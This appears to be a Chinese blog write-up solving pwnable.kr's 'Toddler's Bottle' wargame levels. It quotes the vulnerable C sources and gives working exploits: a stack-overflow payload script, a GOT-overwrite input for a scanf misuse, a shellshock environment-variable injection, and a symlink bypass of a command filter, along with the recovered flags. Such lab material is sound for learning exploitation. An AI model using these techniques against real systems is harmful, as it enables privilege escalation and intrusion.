pwnable 刷题 writeup 之 Toddler’s Bottle
1.fd
源码如下:
C
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
第一题送分,文件描述符中0为标准输入,1为标准输出,2为标准错误输出,输入如下得到 flag:
./fd 4660
LETMEWIN
good job :)
flag: mommy! I think I know what a file descriptor is!!
2. col
源码如下:
C
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
输入20字节,每4字节作为一个整数,相加后得到 0x21DD09EC 即可。由于是通过 strlen 判断长度,所以不能有 0x00 出现,将 0x21DD09EC 拆分成 5 个整数相加(0x01010101 + 0x01010101 + 0x01010101 + 0x01010101 + 0x1DD905E8)
./col $(python -c 'print "\xE8\x05\xD9\x1D" + 16*"\x01"')
flag : daddy! I just managed to create a hash collision :)
3.bof
C
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
用 objdump 看 bof 的反汇编,找到 overflowme 数组起始地址距离 ebp 的长度为 0x2c(44),加上 ebp,eip8 字节,共要填充 52 字节:
python 脚本跑出 flag:
Python
from zio import *
host = "143.248.249.64"
port = 9000
io = zio((host,port),print_read=False,print_write=False)
payload = "A"*52 + "\xbe\xba\xfe\xca" + "\n"
io.write(payload+"\n")
io.write("cat flag\n")
buf = io.read_until("\n")
print buf
4.flag
ida 打开发现程序被加壳了,用 010editor 打开发现是UPX的壳,用 upx 命令脱壳:
upx -d flag -o deflag
脱壳后用 ida 直接找到 flag 字符串 flag: UPX…? sounds like a delivery service
5.passcode
漏洞代码如下:
C
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
这段代码存在 scanf 误用,读入的数据并没有写入 passcode1,passcode2,而是写入了 passcode1,passcode2 未被初始化时所存储的内容,经过 gdb 调试发现 welcome 函数中的 name 变量最后 4 字节刚好可以覆盖到 passcode1(堆栈平衡之后并没有情况栈,所以栈中残留着局部变量 name),这样就可以通过控制 name 的最后4字节达到任意地址写。
最简单的想法是让代码直接跳转到 system(“/bin/cat flag”); 但是又不能直接修改 eip,这时想到了修改 GOT 表,直接把下一个要执行的函数地址改成输出 flag 的代码的起始地址,通过 objdump 找到 system(“/bin/cat flag”); 代码起始地址:
80485ce: 81 7d f4 c9 07 cc 00 cmpl $0xcc07c9,-0xc(%ebp)
80485d5: 75 1a jne 80485f1 <login+0x8d>
80485d7: c7 04 24 a5 87 04 08 movl $0x80487a5,(%esp)
80485de: e8 6d fe ff ff call 8048450 <puts@plt>
80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp)
80485ea: e8 71 fe ff ff call 8048460 <system@plt>
可以看到起始地址为 0x80485e3。scanf 下一句代码是 fflush(stdin); 同样用 objdump 找到 fflush 的 GOT 表地址:
08048430 <fflush@plt>:
8048430: ff 25 04 a0 04 08 jmp *0x804a004
8048436: 68 08 00 00 00 push $0x8
804843b: e9 d0 ff ff ff jmp 8048410 <_init+0x30>
GOT 表项地址为 0x804a004 。最终构造 shellcode 输入:
python -c 'print "A"*96 + "\x04\xa0\x04\x08" + "134514147\n"' | ./passcode
134514147 为0x80485e3 的十进制数值(因为 %d 是取出整数),得到 flag:Sorry mom.. I got confused about scanf usage
6.random
C
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
c 中的 rand 函数产生的是伪随机数,每次产生出的是固定值,在本地跑一下发现固定为 1804289383,于 0xdeadbeef 异或后得到 3039230856,输入后得到 flag:
Mommy, I thought libc random is unpredictable…
7.input
这里主要考察Linux编程,题目如下:
C
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0; //参数个数为100-1 ,argv[0]是程序路径及名称
if(strcmp(argv['A'],"\x00")) return 0;//argv[65]
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;//argv[66]
printf("Stage 1 clear!\n");
// stdio 用管道重定向该进程的标准输入
char buf[4];
read(0, buf, 4);//从标准输入中读
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);//从标准错误输出中读
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;//设置环境变量
printf("Stage 3 clear!\n");
// file 从文件\x0a中 读出4字节 判断是否为 \x00\x00\x00\x00
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );//监听端口为argv[67]
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
通过代码及注释如下:
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<unistd.h>
int main() {
char *argv[101]={0};
char *envp[2]={0};
int i;
for(i=0;i<100;++i)
{
argv[i] = "a";
}
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";
argv['C'] = "12345";//服务器端监听端口
envp[0] = "\xde\xad\xbe\xef=\xca\xfe\xba\xbe";//环境变量
int pip1[2];//pip1[0]为读而开,pip1[1]为写而开, **往pip1[1]中写入的数据可以从pip1[0]中读出**
int pip2[2];
if(pipe(pip1)<0||pipe(pip2)<0)
{
printf("pipe error!/n");
return ;
}
FILE* fp = fopen("\x0a", "wb");
if(!fp)
{
printf("file create error!\n");
exit(-1);
}
fwrite("\x00\x00\x00\x00", 4, 1, fp);
fclose(fp);
//fork之后,子进程会拷贝父进程的文件描述符表,并且将所有引用计数都加一,所以在父进程和子进程中都要close
if(fork()==0)
{ //子进程
//要把父进的输出作为子进程的输入
dup2(pip1[0],0);//子进程从pip1[0]中读,而不是从标准输入0中读
close(pip1[1]);
dup2(pip2[0],2);
close(pip2[1]);
execve("/home/input/input",argv,envp);
}else{
sleep(1);
close(pip1[0]);
write(pip1[1],"\x00\x0a\x00\xff",4);
close(pip2[0]);
write(pip2[1],"\x00\x0a\x02\xff", 4);
}
//等待服务器建立好再连
sleep(5);
int client_sockfd;
int len;
struct sockaddr_in remote_addr; //服务器端网络地址结构体
char buf[10]={0}; //数据传送的缓冲区
memset(&remote_addr,0,sizeof(remote_addr)); //数据初始化--清零
remote_addr.sin_family=AF_INET; //设置为IP通信
remote_addr.sin_addr.s_addr=inet_addr("127.0.0.1");//服务器IP地址
remote_addr.sin_port=htons(12345); //服务器端口号
/*创建客户端套接字--IPv4协议,面向连接通信,TCP协议*/
if((client_sockfd=socket(PF_INET,SOCK_STREAM,0))<0)
{
perror("socket");
return 1;
}
/*将套接字绑定到服务器的网络地址上*/
if(connect(client_sockfd,(struct sockaddr *)&remote_addr,sizeof(struct sockaddr))<0)
{
perror("connect");
return 1;
}
//printf("connected to server\n");
strcpy(buf,"\xde\xad\xbe\xef");
send(client_sockfd,buf,strlen(buf),0);
close(client_sockfd);//关闭套接字
sleep(2);
return 0;
}
由于只有/tmp目录下才有写权限,而最后读 flag 的语句为 /bin/cat flag,所以要将 flag 文件链接到 /tmp 目录下,在 /tmp 目录下新建软链接:
ln -s /home/input/flag /tmp/flag
运行得到 flag:
Mommy! I learned how to pass various input in Linux
8.leg
这题是 arm 汇编,代码如下:
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY); 0x00008ce4
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
关键是要找到 key1,key2,key3 的返回值。对于 arm 汇编要知道几点:
- 前4个参数分别放在 R0,R1,R2,R3 中,多出来的才存在栈上
- 函数返回值存在 R0 中
- LR 保存函数的返回地址(函数调用时的下一条指令地址)
- PC 保存当前指令的下2条指令地址,在 arm 模式下为 当前指令地址 +8,在 thumb 模式下为 当前指令地址 +4
先来看 key1 的汇编:
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
可以看到把PC的值作为返回值,在执行到 mov r3,pc 时值为 0x8cdc+8,即 0x8ce4。
key2 的汇编:
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
在 key2 中进行了 arm 到 thumb 的切换,其中 add r6,pc #1 只是为了跳转到 thumb,跳转之后地址并没有加一。当执行到 mov r3,pc 值为 0x8d04+4,即 0x8d08,后面再加上4得到返回值为0x8d0c。
key3 的汇编:
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
key3中将lr的值作为返回值,lr的值为调用函数的下一条指令:
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
所以key3返回值为0x8d80。所有返回值相加得到 0x8ce4 + 0x8d0c + 0x8d80 = 108400
得到 flag 为:
My daddy has a lot of ARMv5te muscle!
9.mistake
#include <stdio.h>
#include <fcntl.h>
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}
int main(int argc, char* argv[]){
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}
printf("do not bruteforce...\n");
sleep(time(0)%20);
char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}
char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);
// xor your input
xor(pw_buf2, 10);
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}
close(fd);
return 0;
}
有问题的代码为:
fd=open("/tmp/xx.txt",O_RDONLY,0400) < 0
< 的优先级大于 =,所以在打开文件后现执行 open(“/tmp/xx.txt”,O_RDONLY,0400) < 0,正常 open 时返回的值大于 0, 正数 <0 比较之后为 0,然后再赋值给 fd,fd=0 时对应着标准输入,所以后面会从标准输入中读取 password,而不是从文件中读取。
10.shellshock
这题考察 shellshock 漏洞,ssh 登入发现目录下有一个有漏洞的 bash,shellshock 被设置了 setuid 位:
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
先来看看 bash shellshock 漏洞(参考: http://drops.wooyun.org/papers/3268 , http://www.tuicool.com/articles/fEJbQn ):
如果环境变量的值以字符 () { 开头,那么这个变量就会被当作是一个导入函数的定义(Export),这种定义只有在 shell 启动的时候才生效。BASH处理以 (){ 开头的“函数环境变量”的时候,并没有以函数结尾 } 为结束,而是一直执行其后的 shell 命令。目录下有一个bash,输入:
env x='() { :;}; echo vulnerable' ./bash -c 'echo hello'
输出 vulnerable hello,表示这个目录下的 bash 存在 bash shellshock 漏洞。构造特定的环境变量,让有漏洞的 bash 执行输出 flag 的命令:
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include <unistd.h>
int main() {
char *envp[2]={0};
envp[0]="KKK=() { :; }; /home/shellshock/bash -c \"cat /home/shellshock/flag\"";
execve("/home/shellshock/shellshock",NULL,envp);
return 0;
}
输出 flag:
only if I knew CVE-2014-6271 ten years ago..!!
11.coin1
题目如下:
题目意思是找出N个硬币中的假硬币,C 是每次可以询问的次数(不能多也不能少),这题用二分法查找即可。
zio版:
from zio import *
io = zio(('pwnable.kr',9007))
for m in xrange(100):
io.read_until("\nN=")
rr = io.readline()
rrr = rr.split(' ')
totalnum = int(rrr[0])
trials = int(rrr[1][2:-1])
#print "--->",totalnum,trials
l = 0
r = totalnum - 1
mid = totalnum/2
left = l
right = mid
answer = ""
for i in xrange(trials):
ss = [str(n) for n in range(left,right+1)]
sends = " ".join(ss)
io.writeline(sends)
value = int(io.readline())
#print 'value-->',value
if value!=((right-left+1)*10):
#print right,left,'here'
r = mid
mid = (r + l)/2
right = mid
else:
l = mid + 1
left = l
mid = (r + l)/2
right = mid
if l>=r:
answer = str(l)
break
#print '----<',i
while i<trials-1:
io.writeline(answer)
i+=1
#print 'find',l,r,answer
io.writeline(answer)
print 'okokokflag-->'
flag = io.read_until('\n')
print flag
io.interact()
开始时用 zio 写的,结果网络延迟太大,只能换成在他服务器上跑(写入 /tmp 目录,提示为(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server),但是服务器上又没有 zio 库,没办法只能写了个普通 socket 版的:
Python
普通socket版:
from socket import *
import random
import time
HOST = '0'
PORT = 9007
BUFSIZ = 99999
ADDR = (HOST, PORT)
tcpClientSock = socket(AF_INET, SOCK_STREAM)
tcpClientSock.connect(ADDR)
rec = tcpClientSock.recv(BUFSIZ)
time.sleep(4)
for m in xrange(100):
time.sleep(0.2)
rec = tcpClientSock.recv(BUFSIZ)
idx = rec.find("N=")
if idx != -1:
tmp = rec[idx:].split(" ")
totalnum = int(tmp[0][2:])
trials = int(tmp[1][2:])
print 'find-->',totalnum,trials
else:
print "not find"
l = 0
r = totalnum - 1
mid = totalnum/2
left = l
right = mid
answer = ""
for i in xrange(trials):
ss = [str(n) for n in range(left,right+1)]
sends = " ".join(ss)
tcpClientSock.send(sends+"\n")
rec = tcpClientSock.recv(BUFSIZ)
value = int(rec)
#print 'value-->',value
if value!=((right-left+1)*10):
#print right,left,'here'
r = mid
mid = (r + l)/2
right = mid
else:
l = mid + 1
left = l
mid = (r + l)/2
right = mid
if l>=r:
answer = str(l)
break
while i<trials-1:
tcpClientSock.send(answer+"\n")
i+=1
#print 'find',l,r,answer
tcpClientSock.send(answer+"\n")
rec = tcpClientSock.recv(BUFSIZ)
print '---->',rec
time.sleep(0.2)
rec = tcpClientSock.recv(BUFSIZ)
print "over!flag=",rec
tcpClientSock.close()
跑出flag为:
b1NaRy_S34rch1nG_1s_3asy_p3asy
12.blackjack
没看明白 blackjack 的规则。过段时间再研究研究
13.lotto
C
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
unsigned char submit[6];
void play(){
int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);
int r;
r = read(0, submit, 6);
printf("Lotto Start!\n");
//sleep(1);
// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2\. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
// win!
if(match == 6){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}
}
void help(){
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
}
int main(int argc, char* argv[]){
// menu
unsigned int menu;
while(1){
printf("- Select Menu -\n");
printf("1\. Play Lotto\n");
printf("2\. Help\n");
printf("3\. Exit\n");
scanf("%d", &menu);
switch(menu){
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}
问题处在以下循环:
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
这个循环对每个输入的字符都比较了6次,而最后只需要有6次匹配则能出flag。只需要输入相同字符,则能大大增加匹配成功的概率(每次成功概率为6/45,多试几次就能得到 flag):
14.cmd1
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/fuckyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
从题目可以看出,输入的命令不能含有 flag,sh,tmp。在 /tmp 目录下新建一个文件夹,在这个文件夹中添加一个符号链接:
ln -s /home/cmd1/flag ffllaagg
在该目录下编译运行如下程序:
#include<stdio.h>
int main() {
char *argv[3] = {0};
argv[0] = "aaa";
argv[1] = "/bin/cat ffllaagg";
//chroot(".");//将临时根目录改成当前目录(这里不能用)
execve("/home/cmd1/cmd1",argv,NULL);
return 0;
}
得到flag :
mommy now I get what PATH environment is for
15.cmd2
C
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}
extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}
这题过滤了 /,没法像上一题那样直接用符号链接,暂时还没搞定。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论